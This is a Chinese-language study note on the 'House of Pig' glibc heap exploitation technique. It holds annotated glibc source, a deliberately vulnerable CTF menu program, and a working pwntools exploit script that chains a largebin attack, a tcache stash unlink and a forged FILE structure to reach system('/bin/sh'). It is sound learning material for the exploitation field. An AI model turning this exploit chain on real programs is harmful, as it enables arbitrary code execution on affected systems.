【我的 PWN 学习手札】House of Pig

发布于:2025-03-14 ⋅ 阅读:(23) ⋅ 点赞:(0)

House Of Pig

House of Pig是利用tcache stash unlinklargebin attack攻击IO_FILE共同实现的一种手法,一般来说利用得到的任意地址写能力往hook上写数据,从而完成对程序流的劫持。

一、关键源码分析:_IO_str_overflow

const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_str_finish),
  JUMP_INIT(overflow, _IO_str_overflow),
  JUMP_INIT(underflow, _IO_str_underflow),
  JUMP_INIT(uflow, _IO_default_uflow),
  JUMP_INIT(pbackfail, _IO_str_pbackfail),
  JUMP_INIT(xsputn, _IO_default_xsputn),
  JUMP_INIT(xsgetn, _IO_default_xsgetn),
  JUMP_INIT(seekoff, _IO_str_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_default_setbuf),
  JUMP_INIT(sync, _IO_default_sync),
  JUMP_INIT(doallocate, _IO_default_doallocate),
  JUMP_INIT(read, _IO_default_read),
  JUMP_INIT(write, _IO_default_write),
  JUMP_INIT(seek, _IO_default_seek),
  JUMP_INIT(close, _IO_default_close),
  JUMP_INIT(stat, _IO_default_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue)
};

int
_IO_str_overflow (FILE *fp, int c)
{
  int flush_only = c == EOF;
  size_t pos;
  if (fp->_flags & _IO_NO_WRITES)
      return flush_only ? 0 : EOF;
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
    }
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (size_t) (_IO_blen (fp) + flush_only))
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
	return EOF;
      else
	{
	  char *new_buf;
	  char *old_buf = fp->_IO_buf_base;
	  size_t old_blen = _IO_blen (fp);  //扩展到:((fp)->_IO_buf_end - (fp)->_IO_buf_base)
	  size_t new_size = 2 * old_blen + 100;
	  if (new_size < old_blen)
	    return EOF;
	  new_buf = malloc (new_size);   // malloc(2 * ((fp)->_IO_buf_end - (fp)->_IO_buf_base) + 100)
	  if (new_buf == NULL)
	    {
	      /*	  __ferror(fp) = 1; */
	      return EOF;
	    }
	  if (old_buf)
	    {
	      memcpy (new_buf, old_buf, old_blen);  // old_buf 内容复制到 new_buf 中
	      free (old_buf);                       // free
	      /* Make sure _IO_setb won't try to delete _IO_buf_base. */
	      fp->_IO_buf_base = NULL;
	    }
	  memset (new_buf + old_blen, '\0', new_size - old_blen);

	  _IO_setb (fp, new_buf, new_buf + new_size, 1);
	  fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
	  fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
	  fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
	  fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);

	  fp->_IO_write_base = new_buf;
	  fp->_IO_write_end = fp->_IO_buf_end;
	}
    }

  if (!flush_only)
    *fp->_IO_write_ptr++ = (unsigned char) c;
  if (fp->_IO_write_ptr > fp->_IO_read_end)
    fp->_IO_read_end = fp->_IO_write_ptr;
  return c;
}
libc_hidden_def (_IO_str_overflow)

可以看到,在_IO_str_overflow中,进行了mallocmemcpyfree操作。设想一下,如果我们在malloc中能够申请到__free_hook附近的fake chunk,通过在old_buf中布置好合适数据,通过memcpy__free_hook上写入地址,则在free环节就会劫持程序流到目标地址。最简单直接的,如果写入是=system的地址,并在old_buf中布置合适的"/bin/sh\x00"字符串,就可以getshell

二、回顾tcache stash unlink

较高版本的glibc已经引入tcache,而我们知道,calloc函数并不会在tcache中申请堆块。其中一种利用手法是tcache stash unlink

static void *
_int_malloc(mstate av, size_t bytes)
{
...
  if (in_smallbin_range(nb))
  {
    idx = smallbin_index(nb);
    bin = bin_at(av, idx);

    if ((victim = last(bin)) != bin)
    {
      bck = victim->bk;
      if (__glibc_unlikely(bck->fd != victim))
        malloc_printerr("malloc(): smallbin double linked list corrupted");
      set_inuse_bit_at_offset(victim, nb);
      bin->bk = bck;
      bck->fd = bin;

      if (av != &main_arena)
        set_non_main_arena(victim);
      check_malloced_chunk(av, victim, nb);
#if USE_TCACHE
      /* While we're here, if we see other chunks of the same size,
         stash them in the tcache.  */
      size_t tc_idx = csize2tidx(nb);
      if (tcache && tc_idx < mp_.tcache_bins)
      {
        mchunkptr tc_victim;

        /* While bin not empty and tcache not full, copy chunks over.  */
        while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last(bin)) != bin)
        {
          if (tc_victim != 0)
          {
            bck = tc_victim->bk;
            set_inuse_bit_at_offset(tc_victim, nb);
            if (av != &main_arena)
              set_non_main_arena(tc_victim);
            bin->bk = bck;
            bck->fd = bin;

            tcache_put(tc_victim, tc_idx);
          }
        }
      }
#endif
      void *p = chunk2mem(victim);
      alloc_perturb(p, bytes);
      return p;
    }
  }
...
}

当从smallbin中取出chunk时, /* While bin not empty and tcache not full, copy chunks over. */,如果对应大小的tcachebin尚有空闲位置,且smallbin中仍有多余chunk则会将smallbin中这部分多余的chunk转移到tcachebin中,即stash

我们可以看到,除了对取出的victim chunk有双向链表的检查外,在stash部分,即:

          if (tc_victim != 0)
          {
            bck = tc_victim->bk;
            set_inuse_bit_at_offset(tc_victim, nb);
            if (av != &main_arena)
              set_non_main_arena(tc_victim);
            bin->bk = bck;
            bck->fd = bin;

            tcache_put(tc_victim, tc_idx);
          }

中,只对双向链表结构的smallbin中的chunk进行了unlink操作,然后就直接被tcache_put插入到tcachebin中,而**没有对双向链表的检查!**这意味着如果我们修改smallbinchunkbk指针,就可能将fake chunk引入到tcachebin中,实现任意地址malloc

三、总结利用要求、条件与方法

(在比如程序中没有显示malloc只有calloc的条件下)我们期望什么,如何利用?“思考”总是一个逆过程:

  1. 能够利用_IO_str_overflowmallocmemcpyfree写入并触发__free_hook劫持程序执行流

实现上述目标需要:

  • 能够跳转到或触发_IO_str_overflow函数
  • 需要控制好IO_FILE结构体的成员满足mallocmemcpy的参数要求
  1. 因此,需要__free_hook附近的一块fake chunk,需要劫持控制IO

实现上述目标需要:

  • 通过tcache stash unlink获得__free_hook附近的fake chunk
  • 通过largebin attack劫持_IO_list_all,并申请出fake file,布置合适的结构体成员并将vtable指向_IO_str_jumps

四、模板题与解法

(一)模板题源码pwn.c

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>

char *chunk_list[0x100];

#define puts(str) write(1, str, strlen(str)), write(1, "\n", 1)

void menu() {
    puts("1. add chunk");
    puts("2. delete chunk");
    puts("3. edit chunk");
    puts("4. show chunk");
    puts("5. exit");
    puts("choice:");
}

int get_num() {
    char buf[0x10];
    read(0, buf, sizeof(buf));
    return atoi(buf);
}

void add_chunk() {
    puts("index:");
    int index = get_num();
    puts("size:");
    int size = get_num();
    chunk_list[index] = calloc(1, size);
}

void delete_chunk() {
    puts("index:");
    int index = get_num();
    free(chunk_list[index]);
}

void edit_chunk() {
    puts("index:");
    int index = get_num();
    puts("length:");
    int length = get_num();
    puts("content:");
    read(0, chunk_list[index], length);
}

void show_chunk() {
    puts("index:");
    int index = get_num();
    puts(chunk_list[index]);
}

int main() {
    setvbuf(stdin, 0LL, 2, 0LL);
    setvbuf(stdout, 0LL, 2, 0LL);
    setvbuf(stderr, 0LL, 2, 0LL);

    while (1) {
        menu();
        int choice = get_num();
        switch (choice) {
            case 1:
                add_chunk();
                break;
            case 2:
                delete_chunk();
                break;
            case 3:
                edit_chunk();
                break;
            case 4:
                show_chunk();
                break;
            case 5:
                exit(0);
            default:
                puts("invalid choice.");
        }
    }
}

(二)利用过程与exp

largebin attack__free_hook所在fake chunkbk指针域写上一个可写内存(堆地址),从而满足tcache stash unlink时内存修改的可写要求。在这个过程中泄露出libcheap base

# leak libc & heap
add(0, 0x418)
add(1, 0x18)
add(2, 0x428)
add(3, 0x18)

delete(2)
delete(0)

show(0)
io.recvline()
heap_base = u64(io.recv(6).ljust(8, b'\x00')) & ~0xfff

edit(2, b'a')
show(2)
io.recvline()
libc.address = u64(io.recv(6).ljust(8, b'\x00')) - (libc.sym['main_arena'] + 96 + u8(b'a'))
edit(2, b'\x00')
success("heap base: " + hex(heap_base))
success("libc base: " + hex(libc.address))

在这里插入图片描述

然后进行largebin attack__free_hook附近的fake_chunk构造具有可写的指针;劫持_IO_list_all

# largebin attack
add(0, 0x418)
edit(2, p64(0) * 3 + p64(libc.sym['__free_hook'] - 0x20 - 0x8))
delete(0)
add(0, 0x408)

edit(2,p64(0)*3+p64(libc.sym['_IO_list_all']-0x20))
delete(0)
add(0,0x408)
edit(2,p64(libc.sym['main_arena']+1104)*2+p64(heap_base+0x6d0)*2)
add(2,0x428)  # _IO_list_all -> addr(chunk2)

在这里插入图片描述

布置tcache stash unlinktcachebin中放5个chunksmallbin中放两个chunk,并篡改stashchunkbk指针

# tcache stash unlink
for i in range(10,15):
    add(i,0x100)

for i in range(10,15):
    delete(i)
add(20,0x410)
add(21,0x18)
add(22,0x410)
add(23,0x18)
delete(20)
delete(22)
add(20,0x300)
add(22,0x300)
add(24,0x418)
edit(22,0x300*b'\x00'+p64(0)+p64(0x111)+p64(heap_base+0x17c0)+p64(libc.sym['__free_hook']-0x20))
add(25,0x100)
# gdb.attach(io,"b _int_malloc\nc")
pause()

(这里没暂停到,再次运行了libc基址变了,特此说明)

在这里插入图片描述

然后在申请出来的largebin chunk上,也即_IO_list_all指向的fake_file,布置数据:

fake_file_addr = heap_base + 0x6d0
fake_file = b''
fake_file += p64(0)  # _IO_read_end
fake_file += p64(0)  # _IO_read_base
fake_file += p64(0)  # _IO_write_base
fake_file += p64(libc.sym['system'])  # _IO_write_ptr
fake_file += p64(0)  # _IO_write_end
fake_file += p64(fake_file_addr + 0xe0)  # _IO_buf_base;
fake_file += p64(fake_file_addr + 0xe0+((0x108-100)//2))  # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file += p64(0) * 4  # from _IO_save_base to _markers
fake_file += p64(libc.sym['_IO_2_1_stdout_'])  # the FILE chain ptr
fake_file += p32(2)  # _fileno for stderr is 2
fake_file += p32(0)  # _flags2, usually 0
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _old_offset, -1
fake_file += p16(0)  # _cur_column
fake_file += b"\x00"  # _vtable_offset
fake_file += b"\n"  # _shortbuf[1]
fake_file += p32(0)  # padding
fake_file += p64(libc.sym['_IO_2_1_stdout_'] + 0x1ea0)  # _IO_stdfile_1_lock
fake_file += p64(0xFFFFFFFFFFFFFFFF)  # _offset, -1
fake_file += p64(0)  # _codecvt, usually 0
fake_file += p64(libc.sym['_IO_2_1_stdout_'] - 0x160)  # _IO_wide_data_1
fake_file += p64(0) * 3  # from _freeres_list to __pad5
fake_file += p32(0xFFFFFFFF)  # _mode, usually -1
fake_file += b"\x00" * 19  # _unused2
fake_file = fake_file.ljust(0xD8-0x10, b'\x00')  # adjust to vtable
fake_file += p64(IO_str_jumps)  # fake vtable
fake_file += b'/bin/sh\x00'
fake_file += p64(0)
fake_file += p64(libc.sym['system'])
edit(2,fake_file)

结果便是:

pwndbg> p *(struct _IO_FILE_plus*)_IO_list_all 
$2 = {
  file = {
    _flags = 0,
    _IO_read_ptr = 0x431 <error: Cannot access memory at address 0x431>,
    _IO_read_end = 0x0,
    _IO_read_base = 0x0,
    _IO_write_base = 0x0,
    _IO_write_ptr = 0x7dc24b37a370 <__libc_system> "\363\017\036\372H\205\377t\a\351\262\372\377\377f\220H\203\354\bH\215=\321\305\023",
    _IO_write_end = 0x0,
    _IO_buf_base = 0x592df02fd7b0 "/bin/sh",
    _IO_buf_end = 0x592df02fd802 "",
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x7dc24b4ed6c0 <_IO_2_1_stdout_>,
    _fileno = 2,
    _flags2 = 0,
    _old_offset = -1,
    _cur_column = 0,
    _vtable_offset = 0 '\000',
    _shortbuf = "\n",
    _lock = 0x7dc24b4ef560 <fork_handlers+64>,
    _offset = -1,
    _codecvt = 0x0,
    _wide_data = 0x7dc24b4ed560 <_nl_global_locale+160>,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = -1,
    _unused2 = '\000' <repeats 19 times>
  },
  vtable = 0x7dc24b4ee560 <_IO_str_jumps>
}

退出时flush触发overflow (_IO_str_jumps),进入利用链。getshell

在这里插入图片描述